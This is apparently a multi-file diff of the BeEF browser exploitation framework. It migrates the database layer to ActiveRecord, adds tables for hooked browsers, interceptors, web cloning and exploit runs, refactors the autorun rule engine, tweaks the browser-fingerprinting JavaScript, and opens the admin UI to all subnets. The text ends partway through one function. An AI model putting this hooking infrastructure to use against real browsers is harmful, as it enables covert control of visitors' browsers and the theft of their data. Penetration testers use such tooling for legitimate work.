# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.7.2-alpha'
version: '0.5.2.0'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
@@ -27,6 +27,8 @@ beef:
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that cannot be hooked by the framework
excluded_hooking_subnet: []
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"
@@ -45,14 +47,21 @@ beef:
# Host Name / Domain Name
# If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
# set the public hostname below:
#public: "" # public hostname/IP address
# These settings will be used to create a public facing URL
# This public facing URL will be used for all hook related calls
# set the public setting below:
# public:
# host: "" # public hostname/IP address
# port: "" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
# https: false # true/false
# Reverse Proxy / NAT
# If you want BeEF to be accessible behind a reverse proxy or NAT,
# set both the publicly accessible hostname/IP address and port below:
#public: "" # public hostname/IP address
#public_port: "" # public port (experimental)
# NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
# by altering the X-FORWARDED-FOR ip address in the request header.
allow_reverse_proxy: false
# Hook
hook_file: "/hook.js"
@@ -72,7 +81,7 @@ beef:
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
@@ -84,34 +93,15 @@ beef:
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# Enabled this config setting if you're external facing uri is using https
public_enabled: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.public (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
database:
# For information on using other databases please read the
# README.databases file
# supported DBs: sqlite, mysql, postgres
# NOTE: you must change the Gemfile adding a gem require line like:
# gem "dm-postgres-adapter"
# or
# gem "dm-mysql-adapter"
# if you want to switch drivers from sqlite to postgres (or mysql).
# Finally, run a 'bundle install' command and start BeEF.
driver: "sqlite"
# db_file is only used for sqlite
db_file: "beef.db"
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_port: 3306
db_name: "beef"
db_user: "beef"
db_passwd: "beef"
db_encoding: "UTF-8"
file: "beef.db"
# Autorun Rule Engine
autorun:

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -12,11 +12,13 @@ end
## @note Include the BeEF router
require 'core/main/router/router'
require 'core/main/router/api'
require 'core/main/router/error_responses'
## @note Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'
@@ -30,8 +32,6 @@ require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
# @note Include the autorun engine
require 'core/main/autorun_engine/models/rule'
require 'core/main/autorun_engine/models/execution'
require 'core/main/autorun_engine/parser'
require 'core/main/autorun_engine/engine'
require 'core/main/autorun_engine/rule_loader'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,6 +10,7 @@ end
end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
require 'core/main/model'
require 'core/main/models/commandmodule'
require 'core/main/models/hookedbrowser'
require 'core/main/models/log'
@@ -17,6 +18,8 @@ require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
require 'core/main/models/rule'
require 'core/main/models/execution'
# @note Include the constants
require 'core/main/constants/browsers'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,12 +10,18 @@ module BeEF
# @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled
BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
rescue => e
print_error "Failed to get enabled extensions: #{e.message}"
print_error e.backtrace
end
# Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded
BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
rescue => e
print_error "Failed to get loaded extensions: #{e.message}"
print_error e.backtrace
end
# Load all enabled extensions
@@ -27,6 +33,9 @@ module BeEF
}
# API post extension load
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
rescue => e
print_error "Failed to load extensions: #{e.message}"
print_error e.backtrace
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,14 +10,14 @@ module BeEF
# @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.first(:session => sid)
BeEF::Core::Models::HookedBrowser.where(:session => sid).first
end
# Get hooked browser by id
# @param [Integer] id hooked browser database id
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.first(:id => id)
BeEF::Core::Models::HookedBrowser.find(id)
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -31,8 +31,7 @@ require 'execjs'
require 'ansi'
require 'term/ansicolor'
require 'json'
require 'data_objects'
require 'dm-do-adapter'
require 'otr-activerecord'
require 'parseconfig'
require 'erubis'
require 'mime/types'
@@ -41,7 +40,6 @@ require 'resolv'
require 'digest'
require 'zip'
require 'logger'
# @note Logger
require 'core/logger'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -0,0 +1,12 @@
class CreateCommandModules < ActiveRecord::Migration[6.0]
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
end

View File

@@ -0,0 +1,19 @@
class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateLogs < ActiveRecord::Migration[6.0]
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
end

View File

@@ -0,0 +1,16 @@
class CreateCommands < ActiveRecord::Migration[6.0]
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
end

View File

@@ -0,0 +1,15 @@
class CreateResults < ActiveRecord::Migration[6.0]
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateOptionCaches < ActiveRecord::Migration[6.0]
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateBrowserDetails < ActiveRecord::Migration[6.0]
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
end

View File

@@ -0,0 +1,18 @@
class CreateExecutions < ActiveRecord::Migration[6.0]
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
t.integer :rule_id
end
end
end

View File

@@ -0,0 +1,20 @@
class CreateRules < ActiveRecord::Migration[6.0]
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateInterceptor < ActiveRecord::Migration[6.0]
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateWebCloner < ActiveRecord::Migration[6.0]
def change
create_table :web_cloners do |t|
t.text :uri
t.text :mount
end
end
end

View File

@@ -0,0 +1,11 @@
class CreateMassMailer < ActiveRecord::Migration[6.0]
def change
create_table :mass_mailers do |t|
#todo fields
end
end
end

View File

@@ -0,0 +1,17 @@
class CreateNetworkHost < ActiveRecord::Migration[6.0]
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
end

View File

@@ -0,0 +1,15 @@
class CreateNetworkService < ActiveRecord::Migration[6.0]
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
end

View File

@@ -0,0 +1,44 @@
class CreateHttp < ActiveRecord::Migration[6.0]
def change
create_table :https do |t|
t.text :hooked_browser_id
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-domain requests are allowed
t.boolean :allow_cross_domain, :default => true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, :default => 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-domain
t.text :has_ran, :default => "waiting"
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateRtcStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_statuss do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateRtcManage < ActiveRecord::Migration[6.0]
def change
create_table :rtc_manages do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: "waiting"
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateRtcSignal < ActiveRecord::Migration[6.0]
def change
create_table :rtc_signals do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: "waiting"
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_module_statuss do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateXssraysDetail < ActiveRecord::Migration[6.0]
def change
create_table :xssraysdetails do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateDnsRule < ActiveRecord::Migration[6.0]
def change
create_table :dns_rules do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateIpecExploit < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploits do |t|
t.text :name
t.text :protocol
t.text :os
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit_runs do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateAutoloader < ActiveRecord::Migration[6.0]
def change
create_table :autoloaders do |t|
t.references :command
t.boolean :in_use
end
end
end

View File

@@ -0,0 +1,18 @@
class CreateXssraysScan < ActiveRecord::Migration[6.0]
def change
create_table :xssraysscans do |t|
t.references :hooked_browser
t.datetime :scan_start
t.datetime :scan_finish
t.text :domain
t.text :cross_domain
t.integer :clean_timeout
t.boolean :is_started
t.boolean :is_finished
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -41,7 +41,7 @@ module BeEF
hb_session = hb.session
rule_ids.each do |rule_id|
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
rule = BeEF::Core::Models::Rule.find(rule_id)
modules = JSON.parse(rule.modules)
execution_order = JSON.parse(rule.execution_order)
@@ -57,7 +57,7 @@ module BeEF
rule_token = SecureRandom.hex(5)
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
options = []
replace_input = false
cmd_mod['options'].each do|k,v|
@@ -85,16 +85,16 @@ module BeEF
# TODO catch error, which should never happen as values are checked way before ;-)
end
are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
:session => hb_session,
are_exec = BeEF::Core::Models::Execution.new(
:session_id => hb_session,
:mod_count => modules.length,
:mod_successful => 0,
:rule_token => rule_token,
:mod_body => wrapper,
:is_sent => false,
:rule_id => rule_id
:id => rule_id
)
are_exec.save
are_exec.save!
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
end
@@ -272,9 +272,9 @@ module BeEF
:creationdate => Time.new.to_i,
:instructions_sent => true
)
command.save
command.save!
command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
command_module = BeEF::Core::Models::CommandModule.find(mod.id)
if (command_module.path.match(/^Dynamic/))
# metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
@@ -385,9 +385,9 @@ module BeEF
def match(browser, browser_version, os, os_version, rule_id=nil)
match_rules = []
if rule_id != nil
rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
rules = [BeEF::Core::Models::Rule.find(rule_id)]
else
rules = BeEF::Core::AutorunEngine::Models::Rule.all()
rules = BeEF::Core::Models::Rule.all
end
return nil if rules == nil
return nil unless rules.length > 0

View File

@@ -1,31 +0,0 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
module Models
# @note Stored info about the execution of the ARE on hooked browsers.
class Execution
include DataMapper::Resource
storage_names[:default] = 'core_areexecution'
property :id, Serial
property :session, Text # hooked browser session where a ruleset triggered
property :mod_count, Integer # number of command modules of the ruleset
property :mod_successful, Integer # number of command modules that returned with success
# By default Text is only 65K, so field length increased to 1 MB
property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent
property :exec_time, String, :length => 15 # timestamp of ruleset triggering
property :rule_token, String, :length => 10 # unique token to be appended to wrapper function names
property :is_sent, Boolean
end
end
end
end
end

View File

@@ -1,34 +0,0 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
module Models
# @note Table stores the rules for the Distributed Engine.
class Rule
include DataMapper::Resource
storage_names[:default] = 'core_arerules'
property :id, Serial
property :name, Text # rule name
property :author, String # rule author
property :browser, String, :length => 10 # browser name
property :browser_version, String, :length => 15 # browser version
property :os, String, :length => 10 # OS name
property :os_version, String, :length => 15 # OS version
property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing
property :execution_order, Text # command module execution order
property :execution_delay, Text # command module time delays
property :chain_mode, String, :length => 40 # rule chaining mode
has n, :executions
end
end
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -53,7 +53,7 @@ module BeEF
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -52,7 +52,7 @@ module BeEF
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
end
are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
are_rule = BeEF::Core::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,

View File

@@ -1,16 +1,39 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* A series of functions that handle statuses, returns a number based on the function called.
* @namespace beef.are
*/
beef.are = {
/**
* A function for handling a success status
* @memberof beef.are
* @method status_success
* @return {number} 1
*/
status_success: function(){
return 1;
},
/**
* A function for handling an unknown status
* @memberof beef.are
* @method status_unknown
* @return {number} 0
*/
status_unknown: function(){
return 0;
},
/**
* A function for handling an error status
* @memberof beef.are
* @method status_error
* @return {number} -1
*/
status_error: function(){
return -1;
}

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -13,23 +13,24 @@ $j = jQuery.noConflict();
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
/**
* Register the BeEF JS on the window object.
* @namespace {Object} BeefJS
* @property {string} version BeEf Version
* @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
* @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
* @property {array} onclose An array containing functions to be executed by the window.onclose() method.
* @property {array} commands An array containing functions to be executed by Beef.
* @property {array} components An array containing all the BeEF JS components.
*/
var BeefJS = {
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by the window.onpopstate() method.
onpopstate: new Array(),
// An array containing functions to be executed by the window.onclose() method.
onclose: new Array(),
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
@@ -37,8 +38,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
* @param: {string} the debug string to return
*/
debug: function(msg) {
if (!<%= @client_debug %>) return;
if (typeof console == "object" && typeof console.log == "function") {
isDebug = '<%= @client_debug %>'
if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
var currentdate = new Date();
var pad = function(n){return ("0" + n).slice(-2);}
var datetime = currentdate.getFullYear() + "-"

View File

@@ -1,16 +1,23 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @literal object: beef.browser
*
* Basic browser functions.
* @namespace beef.browser
*/
beef.browser = {
/**
* Returns the protocol.
* @example: beef.browser.getProtocol()
*/
getProtocol: function() {
return document.location.protocol;
},
/**
* Returns the user agent that the browser is claiming to be.
* @example: beef.browser.getBrowserReportedName()
@@ -110,7 +117,7 @@ beef.browser = {
* @example: beef.browser.isIE10()
*/
isIE10: function () {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
},
/**
@@ -128,7 +135,7 @@ beef.browser = {
* @example: beef.browser.isEdge()
*/
isEdge: function () {
return !beef.browser.isIE() && !!window.StyleMedia;
return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
},
/**
@@ -856,7 +863,7 @@ beef.browser = {
* @example: beef.browser.isFF89()
*/
isFF89: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
},
/**
@@ -864,7 +871,7 @@ beef.browser = {
* @example: beef.browser.isFF90()
*/
isFF90: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
},
/**
@@ -872,7 +879,7 @@ beef.browser = {
* @example: beef.browser.isFF91()
*/
isFF91: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
},
/**
@@ -880,7 +887,7 @@ beef.browser = {
* @example: beef.browser.isFF92()
*/
isFF92: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
